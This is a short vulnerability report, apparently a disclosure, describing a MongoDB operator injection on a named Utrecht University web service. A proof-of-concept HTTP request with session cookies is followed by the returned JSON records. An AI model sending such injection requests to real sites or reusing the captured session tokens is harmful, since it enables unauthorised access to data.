# Vulnerability Report (uu.nl)

* Exploit Author Nguyen Hoang Quoc An (HTCG)
* Vulnerability Type: MongoDB Injection
* URL: https://cemrol.hum.uu.nl/

# POC
* Request: Extract data belong to "root"

GET /subjects?limit=3&min_subject_order=0&page=2&status=active&subject_set_id=5dcc29d3db8a2c9748a94352&type[%24eq]=root&workflow_id=5c1129a7db8a2c17a2366009 HTTP/1.1
Host: cemrol.hum.uu.nl
Cookie: _gcl_au=1.1.1237529339.1671436072; _ga_WJ30DT8NHH=GS1.1.1671455129.3.1.1671455201.0.0.0; _ga=GA1.2.1285631396.1671436073; _gid=GA1.2.1563793911.1671436073; _API_session=ZXNsSnR2cjZ0clVHUDJJTGt5V0Q5Tkxmd1ZTelFnOTlvU3dNcHVPeW5BV3FDUUk0Y3BHVkNCdlk5cWl0VVFNMk81aXVNZFpKZUxXS2tQZVZQTXdRRGR6TkdtMDgzbVJjVG5QT3VZMXgzalZwbUpFN0ZleHY1bzY0RnJtcjQ0ZEx6RnpNc00yT1F1Nno0aVpmcG1ZWDV3M3JZNGdWbS9pS2VuU05yN2F5cGFtSzh3a3gxOTBUUTkyQ3VHc1VFU2NHLS03eXh6NzVtSituWkJHdnFkNURZSXVRPT0%3D--38fae2d19b6b3d064f733eecaecd977c7cc5ac46; language=english
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
If-None-Match: W/"93575455a92488e7cf06bf14dcca062e"
Cache-Control: max-age=0
Te: trailers
Connection: close


* Reponse:

HTTP/1.1 200 OK
Date: Mon, 19 Dec 2022 15:25:58 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Vary: Origin
Cache-Control: max-age=0, private, must-revalidate
X-Request-Id: f173e53a-1c1a-4c33-9d0a-d7ad6b1a6ae6
X-Runtime: 1.739871
X-Powered-By: Phusion Passenger 4.0.53
Set-Cookie: _API_session=YTNYdEJEV1ErS1BHdzBTcFcyL2JCWW1BWVBWeHo5LzlCNnpRbWYzTGFqRklnQzg0eVB2ZEhvcTErTFdoSHVLZHpnUjNqODJIOThNRC9xWGJWdVRTWkxZWE9rTWhiMUR4NGg0OTR1WVYwUSs4cWFIQ09peTJkc3R5RnQyc0M0cUFtc09kVEhYNlorMmtpekkvNE0zNW5TY3ZUWkQ5ZDZqWWJGMFhzRVFxUDcxQ0kxYm5jZnVleDNWeEtUY245Rkw2LS1WbXZQOWJxWHNKd2Vrcm11MWNPWVJRPT0%3D--d16637aba6b31d464dca99afb5ae4c09a49a4eda; path=/; HttpOnly
ETag: W/"c3d98fc21829be029745a168eae7a08d"
Status: 200 OK
Connection: close
Content-Type: application/json; charset=utf-8
Content-Length: 2420

{"data":[{"id":"5dcc29dbdb8a2c9748a943fb","type":"root","parent_subject_id":"","workflow_id":"5c1129a7db8a2c17a2366009","name":null,"location":{"standard":"https://skillnet.hum.uu.nl/data/E/Correspondance-inédite-d'Eusèbe-Renaudot-Paris-1927-12-451/180.jpg","thumbnail":"https://skillnet.hum.uu.nl/data/E/Correspondance-inédite-d'Eusèbe-Renaudot-Paris-1927-12-451/180-thumb.jpg"},"data":null,"region":null,"classification_count":2,"order":168,"meta_data":{"set_key":"Correspondance-Inédite-d'Eusèbe-Renaudot-Paris-1927-12-451","langs":"FR","hide":"1"},"width":2217,"height":3000,"subject_set_id":"5dcc29d3db8a2c9748a94352","status":"active","user_has_classified":null,"user_has_deleted":null,"belongs_to_user":null,"child_subjects":[]},{"id":"5dcc29dcdb8a2c9748a9441a","type":"root","parent_subject_id":"","workflow_id":"5c1129a7db8a2c17a2366009","name":null,"location":{"standard":"https://skillnet.hum.uu.nl/data/E/Correspondance-inédite-d'Eusèbe-Renaudot-Paris-1927-12-451/211.jpg","thumbnail":"https://skillnet.hum.uu.nl/data/E/Correspondance-inédite-d'Eusèbe-Renaudot-Paris-1927-12-451/211-thumb.jpg"},"data":null,"region":null,"classification_count":2,"order":199,"meta_data":{"set_key":"Correspondance-Inédite-d'Eusèbe-Renaudot-Paris-1927-12-451","langs":"FR","hide":"1"},"width":2217,"height":3000,"subject_set_id":"5dcc29d3db8a2c9748a94352","status":"active","user_has_classified":null,"user_has_deleted":null,"belongs_to_user":null,"child_subjects":[]},{"id":"5dcc29dcdb8a2c9748a9441e","type":"root","parent_subject_id":"","workflow_id":"5c1129a7db8a2c17a2366009","name":null,"location":{"standard":"https://skillnet.hum.uu.nl/data/E/Correspondance-inédite-d'Eusèbe-Renaudot-Paris-1927-12-451/215.jpg","thumbnail":"https://skillnet.hum.uu.nl/data/E/Correspondance-inédite-d'Eusèbe-Renaudot-Paris-1927-12-451/215-thumb.jpg"},"data":null,"region":null,"classification_count":2,"order":203,"meta_data":{"set_key":"Correspondance-Inédite-d'Eusèbe-Renaudot-Paris-1927-12-451","langs":"FR","hide":"1"},"width":2217,"height":3000,"subject_set_id":"5dcc29d3db8a2c9748a94352","status":"active","user_has_classified":null,"user_has_deleted":null,"belongs_to_user":null,"child_subjects":[]}],"links":{"next":{"href":"https://cemrol.hum.uu.nl/subjects?page=3"},"prev":{"href":"https://cemrol.hum.uu.nl/subjects?page=1"}},"meta":{"current_page":2,"next_page":3,"prev_page":1,"total_pages":48,"total":142}}